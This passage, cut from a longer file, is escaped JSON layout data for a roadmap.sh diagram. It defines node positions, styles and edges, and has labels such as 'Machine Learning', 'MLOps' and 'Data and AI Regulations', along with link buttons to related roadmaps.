\"utyjkDcT0E1czb1qg7-Xz\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 76.91320895347599, \"y\": 4831.400748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.5 },\n        \"oldId\": \"46SzVj1sCFNbxxb002lYl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 157,\n      \"measured\": { \"width\": 20, \"height\": 157 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"gASVrTA40nPq5FSB-3spH\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -112.6381872719935, \"y\": 4898.900748222349 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.5 }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 20,\n      \"measured\": { \"width\": 198, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"CCmziWV0VnzZxVbjVF_br\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 31.833849087094336, \"y\": -150.2948532825934 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"kpF15oUmlUmk1qVGEBB7Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 378,\n      \"height\": 151,\n      \"positionAbsolute\": { \"x\": 548.0942414053277, \"y\": -133.9615199492601 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": { \"width\": 355, \"height\": 143 },\n      \"resizing\": false,\n      \"measured\": { \"width\": 378, \"height\": 151 }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 61.8618127280065, \"y\": -64.09925177765109 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 331,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": { \"width\": 330, \"height\": 49 },\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": 560.5942414053277, \"y\": -52.103402024556615 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 331, \"height\": 49 }\n    },\n    {\n      \"id\": \"4qvR1QQzrmoVIVCAsp92H\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -180.83024547901266, \"y\": 5358.741633371404 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 87,\n      \"measured\": { \"width\": 20, \"height\": 87 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"width\": 763,\n      \"height\": 119,\n      \"id\": \"O5dely89N5UCMBeUfh8ud\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -548.7574861060384, \"y\": 5239.741633371404 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Also visit the following related roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": { \"x\": -361.2032366608315, \"y\": 1810.7906301811447 },\n      \"dragging\": false,\n      \"style\": { \"width\": 410, \"height\": 119 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 763, \"height\": 119 }\n    },\n    {\n      \"width\": 140,\n      \"height\": 49,\n      \"id\": \"gu0QppNXop66pFxKFKb4r\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -534.1149340474685, \"y\": 5293.592405467611 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Python\",\n        \"href\": \"https://roadmap.sh/python\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"UZq7Aq3nhidsXdsKeEnNF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -346.2032366608315, \"y\": 1864.9362876142543 },\n      \"style\": { \"width\": 380, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 140, \"height\": 49 }\n    },\n    {\n      \"width\": 199,\n      \"height\": 49,\n      \"id\": \"hl06pnTWoMnzLmiOz9Sga\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -390.11493404746864, \"y\": 5293.592405467611 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI & Data Scientist\",\n        \"href\": \"https://roadmap.sh/ai-data-scientist\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"UZq7Aq3nhidsXdsKeEnNF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -346.2032366608315, \"y\": 1864.9362876142543 },\n      \"style\": { \"width\": 380, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 199, \"height\": 49 }\n    },\n    {\n      \"width\": 100,\n      \"height\": 49,\n      \"id\": \"KGFYqDgOVSFXd2lbg8vGx\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -187.37895705861158, \"y\": 5293.592405467611 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQL\",\n        \"href\": \"https://roadmap.sh/sql\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"UZq7Aq3nhidsXdsKeEnNF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -346.2032366608315, \"y\": 1864.9362876142543 },\n      \"style\": { \"width\": 380, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 100, \"height\": 49 }\n    },\n    {\n      \"id\": \"I0p_-Urr8ZWXXH1JmFMWC\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 139.8079499418078, \"y\": 5000.299530881695 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data and AI Regulations\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 202, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"width\": 148,\n      \"height\": 49,\n      \"id\": \"xcOlVnhYfnSCfzLpkcaRS\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -82.2995971922299, \"y\": 5293.592405467611 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Analyst\",\n        \"href\": \"https://roadmap.sh/data-analyst\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"UZq7Aq3nhidsXdsKeEnNF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -346.2032366608315, \"y\": 1864.9362876142543 },\n      \"style\": { \"width\": 380, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 148, \"height\": 49 }\n    },\n    {\n      \"width\": 126,\n      \"height\": 49,\n      \"id\": \"UZq7Aq3nhidsXdsKeEnNF\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 72.71595716364243, \"y\": 5293.592405467611 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MLOps\",\n        \"href\": \"https://roadmap.sh/mlops\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"f5WRewBlpeYMf71cPcXs-\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -346.2032366608315, \"y\": 1864.9362876142543 },\n      \"style\": { \"width\": 380, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 126, \"height\": 49 }\n    },\n    {\n      \"id\": \"S8XMtFKWlnUqADElFp0Zw\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -293.50477673005446, \"y\": 5024.960121474226 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Machine Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VQv-c7buU2l-IDzRZBMRo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": { \"width\": 251 },\n      \"measured\": { \"width\": 251, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"VQv-c7buU2l-IDzRZBMRo\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -293.50477673005446, \"y\": 5077.960121474226 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MLOps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bbwTKPHjGl08UiOqI9IiY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": { \"width\": 251 },\n      \"measured\": { \"width\": 251, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7aSscXd-UMNWOX7A_vxYh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"WSYIFni7G2C9Jr0pwuami\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__7aSscXd-UMNWOX7A_vxYhx2-fY8LEcCRTKUVEqLH1Qlc0w1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WSYIFni7G2C9Jr0pwuami\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3BxbkrBp8veZj38zdwN8s\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__fY8LEcCRTKUVEqLH1Qlc0z2-3BxbkrBp8veZj38zdwN8sy2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WSYIFni7G2C9Jr0pwuami\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Ouph2bHeLQsrHl45ar4Cs\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__fY8LEcCRTKUVEqLH1Qlc0z2-Ouph2bHeLQsrHl45ar4Csy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WSYIFni7G2C9Jr0pwuami\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jJukG4XxfFcID_VlQKqe-\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__fY8LEcCRTKUVEqLH1Qlc0z2-jJukG4XxfFcID_VlQKqe-y1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WSYIFni7G2C9Jr0pwuami\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"WB2PRVI9C6RIbJ6l9zdbd\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__fY8LEcCRTKUVEqLH1Qlc0z2-WB2PRVI9C6RIbJ6l9zdbdy2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WSYIFni7G2C9Jr0pwuami\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_MpdVlvvkrsgzigYMZ_P8\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__fY8LEcCRTKUVEqLH1Qlc0z2-_MpdVlvvkrsgzigYMZ_P8y1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WSYIFni7G2C9Jr0pwuami\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"3RGGe_znOO7o1Bx0yHaJo\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__WSYIFni7G2C9Jr0pwuamix2-tC6UX4itbzr5JLdMgon73w2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w3cfuNC-IdUKA7CEXs0fT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"RspQLpkICyHUmthLlxQ84\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-RspQLpkICyHUmthLlxQ84y1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w3cfuNC-IdUKA7CEXs0fT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"CvCOkyWcgzaUJec_v5F4L\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-CvCOkyWcgzaUJec_v5F4Ly1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w3cfuNC-IdUKA7CEXs0fT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wydtifF3ZhMWCbVt8Hd2t\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-wydtifF3ZhMWCbVt8Hd2ty2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w3cfuNC-IdUKA7CEXs0fT\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"AWf1y87pd1JFW71cZ_iE1\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-KeGCHoJRHp-mBX-P5to4Yy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zGKTlMUzhrbVbqpLZBsMZ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"cxTriSZvrmXP4axKynIZW\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-cxTriSZvrmXP4axKynIZWy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zGKTlMUzhrbVbqpLZBsMZ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qRHeaD2udDaItAxmiIiUg\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-OfH_UXnxvGQgwlNQwOEfSy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zGKTlMUzhrbVbqpLZBsMZ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"dJZqe47kzRqYIG-4AZTlz\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-dJZqe47kzRqYIG-4AZTlzy2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JurdhDtrv44NaRhh2imqY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"g4UC0go7OPCJYJlac9w-i\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__Eb27y_lyYTsfxK5heaMDJy2-jzsScqhz8Z0DLlk2gjVElz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-VQQmIUGesnrT1N6kH5et\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"g4UC0go7OPCJYJlac9w-i\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__-VQQmIUGesnrT1N6kH5etx2-jzsScqhz8Z0DLlk2gjVElw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"g4UC0go7OPCJYJlac9w-i\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"5KgPfywItqLFQRnIZldZH\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElx2-5KgPfywItqLFQRnIZldZHw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cslVSSKBMO7I6CpO7vG1H\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"uZYQ8tqTriXt_JIOjcM9_\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__cslVSSKBMO7I6CpO7vG1Hx2-jzsScqhz8Z0DLlk2gjVElw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JurdhDtrv44NaRhh2imqY\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"cslVSSKBMO7I6CpO7vG1H\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__Eb27y_lyYTsfxK5heaMDJx2-cslVSSKBMO7I6CpO7vG1Hw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uZYQ8tqTriXt_JIOjcM9_\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"fBD6ZQoMac8w4kMJw_Jrd\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-fBD6ZQoMac8w4kMJw_Jrdz2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"J854xPM1X0BWlhtJw7Hs_\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ArOoKuf9scAURs8NRjAru\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-ArOoKuf9scAURs8NRjAruz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"J854xPM1X0BWlhtJw7Hs_\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"c6Pf3kFcC4iV4a7mPc-WH\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVElz2-c6Pf3kFcC4iV4a7mPc-WHy2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"J854xPM1X0BWlhtJw7Hs_\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"lDeSL9qvgQgyAMcWXF7Fr\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__J854xPM1X0BWlhtJw7Hs_x2-jzsScqhz8Z0DLlk2gjVElw2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"djtAd4xIRBwRgmSkdjASt\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zGKTlMUzhrbVbqpLZBsMZ\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__djtAd4xIRBwRgmSkdjAStx2-zGKTlMUzhrbVbqpLZBsMZw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"djtAd4xIRBwRgmSkdjASt\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"w3cfuNC-IdUKA7CEXs0fT\",\n      \"targetHandle\": \"x2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__djtAd4xIRBwRgmSkdjAStw2-w3cfuNC-IdUKA7CEXs0fTx2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Eb27y_lyYTsfxK5heaMDJ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GN1Xh3kA25ge-wTbdiSio\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__Eb27y_lyYTsfxK5heaMDJx2-jzsScqhz8Z0DLlk2gjVElw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GN1Xh3kA25ge-wTbdiSio\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"f-a3Hy1ldnvSv8W2mFiJK\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-f-a3Hy1ldnvSv8W2mFiJKz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GN1Xh3kA25ge-wTbdiSio\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"4fugNG5sEDl0kgmN3Mezk\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__jzsScqhz8Z0DLlk2gjVEly2-4fugNG5sEDl0kgmN3Mezkz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GN1Xh3kA25ge-wTbdiSio\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"wwPO5Uc6qnwYgibrbPn7y\",\n      \"targetHandle\": \"z1\",\n      